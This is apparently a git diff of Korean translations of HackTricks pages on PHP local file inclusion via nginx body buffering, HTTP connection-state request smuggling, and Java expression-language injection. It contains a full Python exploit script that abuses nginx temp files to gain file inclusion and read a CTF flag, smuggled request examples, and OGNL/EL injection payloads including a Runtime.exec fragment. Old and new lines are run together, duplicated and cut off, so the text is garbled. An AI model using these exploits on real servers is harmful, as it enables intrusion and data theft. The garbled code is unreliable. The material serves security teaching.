* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 통해 제공되는 검색 엔진으로, **무료** 기능을 제공하여 회사나 그 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인할 수 있습니다. [**WhiteIntel**](https://whiteintel.io)**다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -36,26 +37,26 @@ WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한
\`\`\`\`h\` \`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 참고: PHP의 \`include\` 함수는 경로를 \`/var/lib/nginx/body/0000001368 (deleted)\`로 해석하므로 이 예시에서 \`/proc/34/fd/15\`를 직접 포함할 수 없습니다. 이러한 소극적인 제한은 다행히 \`/proc/self/fd/34/../../../34/fd/15\`와 같은 간접 방법으로 우회할 수 있습니다. 이렇게 하면 최종적으로 삭제된 \`/var/lib/nginx/body/0000001368\` 파일의 내용이 실행됩니다. ## 전체 Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //' /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 주의: 이 예시에서 \`/proc/34/fd/15\`를 직접 포함할 수는 없으며, PHP의 \`include\` 함수는 경로를 \`/var/lib/nginx/body/0000001368 (deleted)\`로 해석하여 파일 시스템에 존재하지 않는 경로로 변환합니다. 이 작은 제한은 다행히도 다음과 같은 간접적인 방법으로 우회할 수 있습니다: \`/proc/self/fd/34/../../../34/fd/15\`는 결국 삭제된 \`/var/lib/nginx/body/0000001368\` 파일의 내용을 실행합니다. ## 전체 익스플로잇 \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # nginx의 클라이언트 본문 버퍼링 지원을 통한 PHP 로컬 파일 포함 (LFI) 익스플로잇 # 자세한 내용은 https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ 참조 URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # nginx 작업자 프로세스 찾기 r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # nginx가 /var/lib/nginx/body/$X를 생성하도록 큰 클라이언트 본문 업로드 def uploader(): print('\[+] 업로더 시작') while not done: requests.get(URL, data=' //'
``` ```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except: except:
pass pass
``` ```
```python ```markdown
def send_payload_worker(requests_session): while True: send_payload(requests_session) def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send_payload_multiprocess(requests_session): # 모든 CPU를 사용하여 Nginx에 페이로드를 요청 본문으로 보냄 for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start() def send\_payload\_multiprocess(requests\_session): # 모든 CPU를 사용하여 Nginx에 요청 본문으로 페이로드를 전송합니다. for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate_random_path_prefix(nginx_pids): # 이 메서드는 무작위 개수의 ProcFS 경로 구성 요소로 경로를 생성합니다. 생성된 경로는 /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root와 같이 보입니다 path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path def generate\_random\_path\_prefix(nginx\_pids): # 이 메서드는 ProcFS 경로 구성 요소의 임의 개수로 경로를 생성합니다. 생성된 경로는 /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root와 같은 형식입니다. path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # 플래그는 hxp{} 형식으로 포맷됩니다 if "hxp" in d: print("플래그 발견! ") print(d) def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # 플래그는 hxp{} 형식으로 포맷됩니다. if "hxp" in d: print("플래그를 찾았습니다! ") print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids): # 루프에서 10에서 45 사이의 Nginx FD를 스캔합니다. 파일과 소켓이 계속 닫히기 때문에 이 범위 내에서 요청 본문 FD가 열리는 것이 매우 일반적합니다 for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start() def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Nginx FD를 10 - 45 사이에서 루프를 통해 스캔합니다. 파일과 소켓이 계속 닫히기 때문에 요청 본문 FD가 이 범위 내에서 열리는 것이 매우 일반적입니다. for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start() def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if __name__ == "main": print('[DEBUG] 요청 세션 생성 중') requests_session = create_requests_session() print('[DEBUG] Nginx PID 가져오는 중') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx PID: {nginx_pids}') print('[DEBUG] 페이로드 전송 시작 중') send_payload_multiprocess(requests_session) print('[DEBUG] FD 리더 시작 중') read_file_multiprocess(requests_session, nginx_pids) if **name** == "**main**": print('\[DEBUG] 요청 세션 생성 중') requests\_session = create\_requests\_session() print('\[DEBUG] Nginx pids 가져오는 중') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] 페이로드 전송 시작') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] fd 리더 시작') read\_file\_multiprocess(requests\_session, nginx\_pids)
``` ```
``` ```

View file

@ -1,24 +1,27 @@
# HTTP 연결 요청 스머글링 # HTTP Connection Request Smuggling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
</details> </details>
{% endhint %}
**이 글은 다음 글의 요약입니다** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks) **이것은 게시물의 요약입니다** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## 연결 상태 공격 <a href="#state" id="state"></a> ## Connection State Attacks <a href="#state" id="state"></a>
### 첫 번째 요청 유효성 검사 ### First-request Validation
요청을 라우팅할 때, 역방향 프록시는 종종 허용된 호스트 목록을 기반으로 대상 백엔드 서버를 결정하기 위해 **Host 헤더**에 의존할 수 있습니다. 그러나 일부 프록시에서는 허용 목록이 연결의 초기 요청에서만 강제되는 취약점이 존재합니다. 결과적으로 공격자는 허용된 호스트로의 첫 번째 요청을 먼저 하고 동일한 연결을 통해 내부 사이트를 요청함으로써 이를 악용할 수 있습니다. 요청을 라우팅할 때, 리버스 프록시는 **Host header**에 의존하여 목적지 백엔드 서버를 결정할 수 있으며, 종종 접근이 허용된 호스트의 화이트리스트에 의존합니다. 그러나 일부 프록시에서는 화이트리스트가 연결의 초기 요청에만 적용되는 취약점이 존재합니다. 결과적으로 공격자는 먼저 허용된 호스트에 요청을 한 다음 동일한 연결을 통해 내부 사이트를 요청함으로써 이를 악용할 수 있습니다:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: [allowed-external-host] Host: [allowed-external-host]
@ -26,9 +29,9 @@ Host: [allowed-external-host]
GET / HTTP/1.1 GET / HTTP/1.1
Host: [internal-host] Host: [internal-host]
``` ```
### 첫 번째 요청 라우팅 ### First-request Routing
일부 구성에서 프런트엔드 서버는 첫 번째 요청의 **호스트 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정한 후, 동일한 클라이언트 연결에서 이후 모든 요청을 지속적으로 동일한 백엔드 연결로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다: 일부 구성에서는 프론트엔드 서버가 **첫 번째 요청의 Host 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정한 다음, 동일한 클라이언트 연결의 모든 후속 요청을 동일한 백엔드 연결로 지속적으로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: example.com Host: example.com
@ -36,20 +39,23 @@ Host: example.com
POST /pwreset HTTP/1.1 POST /pwreset HTTP/1.1
Host: psres.net Host: psres.net
``` ```
이 문제는 [호스트 헤더 공격](https://portswigger.net/web-security/host-header)과 결합될 수 있으며, 비밀번호 재설정 독려 또는 [웹 캐시 독려](https://portswigger.net/web-security/web-cache-poisoning)와 같은 공격을 통해 다른 취약점을 악용하거나 추가 가상 호스트에 무단 액세스할 수 있습니다. 이 문제는 [Host header attacks](https://portswigger.net/web-security/host-header)와 결합될 수 있으며, 예를 들어 비밀번호 재설정 중독 또는 [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)과 같은 공격을 통해 다른 취약점을 악용하거나 추가 가상 호스트에 대한 무단 액세스를 얻을 수 있습니다.
{% hint style="info" %} {% hint style="info" %}
이러한 취약점을 식별하기 위해 HTTP Request Smuggler의 'connection-state probe' 기능을 활용할 수 있습니다. 이러한 취약점을 식별하기 위해 HTTP Request Smuggler의 'connection-state probe' 기능을 활용할 수 있습니다.
{% endhint %} {% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 제로부터 전문가까지 배우세요!</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 홍보**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **를 따르세요.**
</details> </details>
{% endhint %}

View file

@ -1,62 +1,65 @@
# EL - 표현 언어 # EL - Expression Language
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 참여하세요.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## 기본 정보 ## Bsic Info
표현 언어 (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹 페이지)와 애플리케이션 로직(예: 관리되는 빈)을 연결하는 데 중요한 역할을 합니다. 다음과 같은 곳에서 주로 사용됩니다: Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹 페이지)와 애플리케이션 로직(예: 관리되는 빈) 간의 상호작용을 가능하게 하는 중요한 요소입니다. 주로 다음에서 사용됩니다:
* **JavaServer Faces (JSF)**: UI 구성 요소를 백엔드 데이터/동작에 바인딩하는 데 사용됩니다. * **JavaServer Faces (JSF)**: UI 구성 요소를 백엔드 데이터/작업에 바인딩하기 위해.
* **JavaServer Pages (JSP)**: JSP 페이지 내에서 데이터 액세스 및 조작에 사용됩니다. * **JavaServer Pages (JSP)**: JSP 페이지 내에서 데이터 접근 및 조작을 위해.
* **Contexts and Dependency Injection for Java EE (CDI)**: 웹 레이어 상호작용을 관리되는 빈과 함께 용이하게 합니다. * **Contexts and Dependency Injection for Java EE (CDI)**: 관리되는 빈과의 웹 레이어 상호작용을 촉진하기 위해.
**사용되는 컨텍스트**: **사용 맥락**:
* **Spring Framework**: 보안 및 데이터와 같은 다양한 모듈에서 사용됩니다. * **Spring Framework**: Security 및 Data와 같은 다양한 모듈에서 적용됩니다.
* **일반적인 사용**: Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자들이 SpEL API를 통해 사용합니다. * **일반 사용**: Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자들이 SpEL API를 통해 사용합니다.
EL은 JavaEE 기술, 독립 환경에서 사용되며 `.jsp` 또는 `.jsf` 파일 확장자, 스택 오류 및 헤더에서 "Servlet"과 같은 용어를 통해 인식할 수 있습니다. 그러나 특정 문자의 사용 및 기능은 버전에 따라 다를 수 있습니다. EL은 JavaEE 기술, 독립 실행형 환경에 존재하며, `.jsp` 또는 `.jsf` 파일 확장자, 스택 오류 및 "Servlet"과 같은 용어를 통해 인식할 수 있습니다. 그러나 특정 기능과 특정 문자의 사용은 버전 의존적일 수 있습니다.
{% hint style="info" %} {% hint style="info" %}
**EL 버전**에 따라 일부 **기능**이 **활성화** 또는 **비활성화**되며 일반적으로 일부 **문자**가 **허용되지 않을 수** 있습니다. **EL 버전**에 따라 일부 **기능**이 **켜져** 있거나 **꺼져** 있을 수 있으며, 일반적으로 일부 **문자**는 **허용되지 않을 수** 있습니다.
{% endhint %} {% endhint %}
## 기본 예제 ## Basic Example
(다른 흥미로운 EL 튜토리얼을 [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)에서 찾을 수 있습니다) (EL에 대한 또 다른 흥미로운 튜토리얼은 [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)에서 찾을 수 있습니다.)
[Maven](https://mvnrepository.com) 저장소에서 다음 jar 파일을 다운로드하세요: 다음 jar 파일을 [**Maven**](https://mvnrepository.com) 저장소에서 다운로드합니다:
* `commons-lang3-3.9.jar` * `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar` * `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar` * `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar` * `spring-expression-5.2.1.RELEASE.jar`
그리고 다음 `Main.java` 파일을 생성하세요: 그리고 다음 `Main.java` 파일을 생성합니다:
```java ```java
import org.springframework.expression.Expression; import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser; import org.springframework.expression.ExpressionParser;
@ -77,24 +80,24 @@ System.out.println(result);
} }
} }
``` ```
다음으로 코드를 컴파일합니다 (`javac`가 설치되어 있지 않은 경우 `sudo apt install default-jdk`를 설치하세요): 다음으로 코드를 컴파일합니다(만약 `javac`가 설치되어 있지 않다면, `sudo apt install default-jdk`를 설치하세요):
```java ```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
``` ```
다음과 같이 응용 프로그램을 실행하십시오: 애플리케이션을 다음과 같이 실행하십시오:
```java ```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate: Enter a String to evaluate:
{5*5} {5*5}
[25] [25]
``` ```
이전 예제에서 용어 `{5*5}`이(가) **평가**되었음을 주목하세요. Note how in the previous example the term `{5*5}` was **evaluated**.
## **CVE 기반 자습서** ## **CVE 기반 튜토리얼**
**이 게시물에서 확인하세요:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads ## 페이로드
### 기본 작업 ### 기본 작업
```bash ```bash
@ -120,19 +123,19 @@ Enter a String to evaluate:
{"".getClass().forName("java.util.Date").getMethods()[0].toString()} {"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)] [public boolean java.util.Date.equals(java.lang.Object)]
``` ```
### 탐지 ### Detection
* Burp 탐지 * Burp 탐지
```bash ```bash
gk6q${"zkz".toString().replace("k", "x")}doap2 gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
``` ```
* J2EE * J2EE
```bash ```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
``` ```
* 10초 동안 대기하기 * 10초 대기
```bash ```bash
#Blind detection vector (sleep during 10 seconds) #Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
@ -213,17 +216,17 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
* `requestScope` - 요청 변수 * `requestScope` - 요청 변수
* `initParam` - 애플리케이션 초기화 변수 * `initParam` - 애플리케이션 초기화 변수
* `sessionScope` - 세션 변수 * `sessionScope` - 세션 변수
* `param.X` - X이름의 http 매개변수 값 * `param.X` - X가 http 매개변수의 이름인 매개변수 값
이 변수들을 다음과 같이 String으로 캐스팅해야 합니다: 이 변수들을 String으로 캐스팅해야 합니다:
```bash ```bash
${sessionScope.toString()} ${sessionScope.toString()}
``` ```
#### 인가 우회 예제 #### 권한 우회 예제
```bash ```bash
